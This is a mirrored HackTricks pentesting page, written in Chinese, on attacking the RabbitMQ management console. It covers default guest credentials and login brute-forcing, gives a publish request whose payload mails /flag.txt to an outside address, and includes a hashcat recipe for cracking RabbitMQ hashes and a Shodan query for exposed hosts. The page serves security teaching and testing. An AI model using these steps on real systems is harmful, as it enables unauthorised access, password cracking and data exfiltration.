mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
53 lines
1.8 KiB
Markdown
53 lines
1.8 KiB
Markdown
# 15672 - Pentesting RabbitMQ Management
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## 基本信息
|
||
|
||
您可以在 [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md) 中了解更多关于 RabbitMQ 的信息。\
|
||
在此端口,如果启用了 [management plugin](https://www.rabbitmq.com/management.html),您可能会找到 RabbitMQ 管理网页控制台。\
|
||
主页应如下所示:
|
||
|
||
.png>)
|
||
|
||
## 枚举
|
||
|
||
默认凭据是 "_**guest**_":"_**guest**_"。如果它们无法使用,您可以尝试 [**暴力破解登录**](../generic-hacking/brute-force.md#http-post-form)。
|
||
|
||
要手动启动此模块,您需要执行:
|
||
```
|
||
rabbitmq-plugins enable rabbitmq_management
|
||
service rabbitmq-server restart
|
||
```
|
||
一旦您正确认证,您将看到管理员控制台:
|
||
|
||
.png>)
|
||
|
||
此外,如果您拥有有效的凭据,您可能会发现 `http://localhost:15672/api/connections` 的信息很有趣。
|
||
|
||
还要注意,使用此服务的 API,您可以通过以下请求**在队列中发布数据**:
|
||
```bash
|
||
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
||
Host: 172.32.56.72:15672
|
||
Authorization: Basic dGVzdDp0ZXN0
|
||
Accept: */*
|
||
Content-Type: application/json;charset=UTF-8
|
||
Content-Length: 267
|
||
|
||
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
|
||
```
|
||
## 破解哈希
|
||
```bash
|
||
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
|
||
hashcat -m 1420 --hex-salt hash.txt wordlist
|
||
```
|
||
### Shodan
|
||
|
||
- `port:15672 http`
|
||
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|